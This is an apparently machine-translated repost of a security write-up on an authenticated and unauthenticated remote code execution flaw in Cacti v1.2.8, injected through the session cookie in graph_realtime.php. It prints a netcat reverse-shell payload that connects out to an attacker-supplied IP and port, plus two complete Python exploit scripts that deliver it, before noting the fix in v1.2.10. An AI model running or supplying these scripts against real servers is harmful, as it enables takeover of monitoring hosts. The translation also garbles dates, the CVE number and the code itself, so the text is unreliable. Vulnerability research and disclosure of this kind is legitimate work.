Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze authenticated RCE vulnerabilities in Cacti v1.2.8

2025-03-26 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to carry out Cacti v1.2.8 authenticated RCE loophole analysis, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain in detail for you, people with this need can come to learn, hope you can gain something.

About Cacti

Cacti is a set of graphical analysis tools for network traffic monitoring based on PHP,MySQL,SNMP and RRDTool. Cacti uses snmpget to get data, uses RRDtool to draw graphics, and you don't need to know the complex parameters of RRDtool. It provides a very powerful data and user management functions, you can specify that each user can view the tree structure, host and any map, can also be combined with LDAP for user authentication, but also can add their own templates, the function is very powerful and perfect. Friendly interface. The development of the software Cacti is based on making it easier for RRDTool users to use the software. In addition to basic Snmp traffic and system information monitoring, Cacti can also plug in Scripts and add Templates to make a variety of monitoring charts.

Cacti is a software implemented in PHP language, its main function is to use snmp services to obtain data, then use rrdtool to store and update data, and when users need to view data, use rrdtool to generate charts and present them to users. Therefore, snmp and rrdtool are the key to cacti. Snmp is related to data collection, and rrdtool is related to data storage and chart generation.

Vulnerability exploitation analysis

I discovered this vulnerability when I analyzed multiple functions in the main code of Cacti. I need to combine multiple exploit factors for code execution, which is triggered when an attacker tries to inject malicious code into the Cookie variable "Cacti", which is passed to the shell_exec function after merging with some strings. But when I tried to modify the cookie value, I encountered an authentication problem, which prevented me from accessing the target page, but I found that the page containing the vulnerability could be accessed as "Guest", so there was no need for authentication, so I modified the exploit code and used the "Guest" identity to access the page "graph_realtime.php". A malicious request is then sent to implement code execution on the target host.

First, we need to send a request to the "user_admin.php" page to enable guest permissions for "realtime_graph", and then send a malicious request to the "graph_realtime.php" page.

Next, I used this commonly used RCE scan script [RECScanner] to search for RCE vulnerabilities in Cacti.

After running the script, I found something very interesting in the "graph_realtime.php" file:

Graph_realtime.php/* call poller * / $graph_rrd = read_config_option ('realtime_cache_path'). '/ user_'. Session_id (). '_ lgi_'. Get_request_var ('local_graph_id'). '.png'; $command = read_config_option ('path_php_binary'); $args = sprintf (' poller_realtime.php-- graph=%s-- interval=%d-- poller_id='. Session_id (), get_request_var ('local_graph_id'), $graph_data_array [' ds_step']); shell_exec ("$command $args"); / * construct the image name * / $graph_data_array ['export_realtime'] = $graph_rrd;$graph_data_array [' output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;$null_param = array ()

We can see lines 4 and 5 of the above code, and we receive some parameters, as well as a function called "get_request_var", which works as follows:

Html_utility.phpfunction get_request_var ($name, $default =') {global $_ CACTI_REQUEST; $log_validation = read_config_option ('log_validation'); if (isset ($_ CACTI_REQUEST [$name])) {return $_ CACTI_REQUEST [$name];} elseif (isset_request_var ($name)) {if ($log_validation = =' on') {html_log_input_error ($name) } set_request_var ($name, $_ REQUEST [$name]); return $_ REQUEST [$name];} else {return $default;}}

We can see that this function can process the input data and set parameter values through the function "set_request_var", and the relevant code for this function is as follows:

Html_utility.phpfunction set_request_var ($variable, $value) {global $_ CACTI_REQUEST; $_ CACTI_REQUEST [$variable] = $value; $_ REQUEST [$variable] = $value; $_ POST [$variable] = $value; $GET [$variable] = $value;}

Next, back to our "graph_realtime.php" page, we can control the following input:

Local_graph_idThe value of $graph_data_array ['ds_step']

However, we notice line 4 in the "graph_realtime.php" file, which uses the sprintf () function to process the input, and the content of the first value "graph" is "local_graph_id", which we can control! However, a function called "get_filter_request_var" filters this value, and we can see that it has been filtered in "graph_realtime.php":

Html_utility.phpfunction get_filter_request_var ($name, $filter = FILTER_VALIDATE_INT, $options = array ()) {if (isset_request_var ($name)) {if (isempty_request_var ($name)) {set_request_var ($name, get_nfilter_request_var ($name)); return get_request_var ($name) } elseif (get_nfilter_request_var ($name) = = 'undefined') {if (isset ($options [' default'])) {set_request_var ($name, $options ['default']); return $options [' default'];} else {set_request_var ($name,'); return'' }} else {if (get_nfilter_request_var ($name) = ='0') {$value = '0mm;} elseif (get_nfilter_request_var ($name) = =' undefined') {if (isset ($options ['default'])) {$value = $options [' default'] } else {$value =';}} elseif (isempty_request_var ($name)) {$value ='' } elseif ($filter = = FILTER_VALIDATE_IS_REGEX) {if (is_base64_encoded ($_ REQUEST [$name])) {$_ REQUEST [$name] = utf8_decode (base64_decode ($_ REQUEST [$name]));} $valid = validate_is_regex ($_ REQUEST [$name]) If ($valid = true) {$value = $_ REQUEST [$name];} else {$value = false; $custom_error = $valid;}} elseif ($filter = = FILTER_VALIDATE_IS_NUMERIC_ARRAY) {$valid = true If (is_array ($_ REQUEST [$name]) {foreach ($_ REQUEST [$name] AS $number) {if (! is_numeric ($number)) {$valid = false; break } else {$valid = false;} if ($valid = = true) {$value = $_ REQUEST [$name];} else {$value = false }} elseif ($filter = = FILTER_VALIDATE_IS_NUMERIC_LIST) {$valid = true; $values = preg_split ('/, /', $_ REQUEST [$name], NULL, PREG_SPLIT_NO_EMPTY) Foreach ($values AS $number) {if (! is_numeric ($number)) {$valid = false; break;}} if ($valid = = true) {$value = $_ REQUEST [$name] } else {$value = false;}} elseif (! cacti_sizeof ($options)) {$value = filter_var ($_ REQUEST [$name], $filter);} else {$value = filter_var ($_ REQUEST [$name], $filter, $options) }} if ($value = false) {if ($filter = = FILTER_VALIDATE_IS_REGEX) {$_ SESSION ['custom_error'] = _ (' The search term "% s" is not valid. Error is% slots, html_escape (get_nfilter_request_var ($name)), html_escape ($custom_error); set_request_var ($name,''); raise_message ('custom_error');} else {die_html_input_error ($name, get_nfilter_request_var ($name)) } else {set_request_var ($name, $value); return $value;}} else {if (isset ($options ['default'])) {set_request_var ($name, $options [' default']); return $options ['default'];} else {return;}

This function will filter the input data, then return a "clean" variable and pass it to the next function.

The second variable, "$graph_data_array ['ds_step']", has been processed (% d) by sprintf (), which means it becomes a decimal value, so we can't use it to inject our malicious commands.

Next, let's take a look at the following code:

Graph_realtime.php/* call poller * / $graph_rrd = read_config_option ('realtime_cache_path'). '/ user_'. Session_id (). '_ lgi_'. Get_request_var ('local_graph_id'). '.png'; $command = read_config_option ('path_php_binary'); $args = sprintf (' poller_realtime.php-- graph=%s-- interval=%d-- poller_id='. Session_id (), get_request_var ('local_graph_id'), $graph_data_array [' ds_step']); shell_exec ("$command $args"); / * construct the image name * / $graph_data_array ['export_realtime'] = $graph_rrd;$graph_data_array [' output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;$null_param = array ()

We see another variable passed to the shell_exec function, and the value of this variable is the value returned by the session_id () function, which returns the value of the current user session, that is, we can use it to inject our commands.

Wait a minute, if we modify the session, we will not be able to access the target page, because the page requires the user to access it only after authentication. After studying it, I found that if we enabled a special permission called "Realtime Graphs", we would be able to access this page as a guest:

Next, we try to access the page without turning on the "Guest Realtime Graphs" permission:

As we can see, we cannot access this page now due to permission issues, so now let's reopen the permission and then visit the page:

Good, let's send a "graph_realtime.php" page request, and then add a "echo" statement to the code to output the value passed to the shell_exec function:

As shown in the figure, we printed the session, and then we tried to inject a custom string into the session:

Very well, we successfully implemented the injection.

Payload development

After successfully controlling the session value, we need to use it to implement code execution on the target system, but because it is essentially a session value, we cannot use some special characters, so we need to develop a "session-friendly" Payload.

For example, if you encode the string "Hi Payload" and pass it to the application, we will see:

We can see that the application sets a Cookie for us instead of the one we injected, and to solve this problem, we need to use a custom Payload.

To avoid using space characters, I intend to use the Bash variable "${IFS}" to represent a space.

Of course, we also need to use ";" to escape the command:

; payload

If we want to use netcat to get a Shell, we also need to create the following Payload:

; nc$ {IFS}-e ${IFS} / bin/bash$ {IFS} ip$ {IFS} port

Let's first encode the Payload:

Then send it to the application:

Well, our Payload execution was successful and we got a Shell.

Exploit code

To automate the entire exploit process, I wrote a Python script to exploit the vulnerability:

#! / usr/bin/python3# Exploit Title: Cacti v1.2.8 Remote Code Execution# Date: 03 Universe 02 Universe 202 Exploit Author: Askar (@ mohammadaskar2) # CVE: CVE-2020-881 inch Vendor Homepage: https://cacti.net/# Version: v1.2.The Tested on: CentOS 7.3 / PHP 7.1.33import requestsimport sysimport warningsfrom bs4 import BeautifulSoupfrom urllib.parse import quotewarnings.filterwarnings ("ignore", category=UserWarning Module='bs4') if len (sys.argv)! = 6: print ("[~] Usage:. / Cacti-exploit.py url username password ip port") exit () url = sys.argv [1] username = sys.argv [2] password = sys.argv [3] ip = sys.argv [4] port = sys.argv [5] def login (token): login_info = {"login_username": username, "login_password": password, "action": "login" "_ _ csrf_magic": token} login_request = request.post (url+ "/ index.php", login_info) login_text = login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return Truedef enable_guest (token): request_info = {"id": "3", "section25": "on", "section7": "on" Tab: "realms", "save_component_realm_perms": 1, "action": "save", "_ _ csrf_magic": token} enable_request = request.post (url+ "/ user_admin.php?header=false", request_info) if enable_request: return True else: return Falsedef send_exploit (): payload = " Nc$ {IFS}-e ${IFS} / bin/bash$ {IFS}% s ${IFS}% "% (ip, port) cookies= {'Cacti': quote (payload)} requests.get (url+" / graph_realtime.php?action=init ", cookies=cookies) request = requests.session () print (" [+] Retrieving login CSRF token ") page = request.get (url+" / index.php ") html_content = page.textsoup = BeautifulSoup (html_content) "html5lib") token = soup.findAll ('input') [0] .get ("value") if token: print ("[+] Token Found:% s"% token) print ("[+] Sending creds.") Login_status = login (token) if login_status: print ("[+] Successfully LoggedIn") print ("[+] Retrieving CSRF token.") Page = request.get (url+ "/ user_admin.php?action=user_edit&id=3&tab=realms") html_content = page.text soup = BeautifulSoup (html_content, "html5lib") token = soup.findAll ('input') [1] .get ("value") if token: print ("[+] Making some noise.") Guest_realtime = enable_guest (token) if guest_realtime: print ("[+] Sending malicous request, check your nc;)") send_exploit () else: print ("[-] Error while activating the malicous account") else: print ("[-] Unable to retrieve CSRF token from admin page!") Exit () else: print ("[-] Cannot Login!") else: print ("[-] Unable to retrieve CSRF token!") exit

After running the exploit code, we will see:

Once again, I succeeded in getting Shell!

Unauthenticated vulnerability exploitation

If Cacti has the "Guest Realtime Graphs" privilege enabled, we can exploit this vulnerability without authentication. The following is the exploit code for this scenario:

#! / usr/bin/python3# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution# Date: 03 Universe 02 Universe 202 Exploit Author: Askar (@ mohammadaskar2) # CVE: CVE-2020-881 inch Vendor Homepage: https://cacti.net/# Version: v1.2.The Tested on: CentOS 7.3 / PHP 7.1.33import requestsimport sysimport warningsfrom bs4 import BeautifulSoupfrom urllib.parse import quotewarnings.filterwarnings ("ignore", category=UserWarning Module='bs4') if len (sys.argv)! = 4: print ("[~] Usage:. / Cacti-exploit.py url ip port") exit () url = sys.argv [1] ip = sys.argv [2] port = sys.argv [3] def send_exploit (url): payload = " Nc$ {IFS}-e ${IFS} / bin/bash$ {IFS}% s ${IFS}% (ip, port) cookies = {'Cacti': quote (payload)} path = url+ "/ graph_realtime.php?action=init" req = requests.get (path) if req.status_code = = 200 and "poller_realtime.php" in req.text: print ("[+] File Found and Guest is enabled!") Print ("[+] Sending malicous request, check your nc;)") requests.get (path, cookies=cookies) else: print ("[+] Error while requesting the file!") send_exploit (url)

We can see that this vulnerability can also be successfully exploited in this scenario.

Loophole disclosure

After discovering the problem, we reported the complete PoC to the Cacti team, who fixed the vulnerability and released a patch as soon as possible, and will no longer be affected by this vulnerability from Cacti v1.2.10.

Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report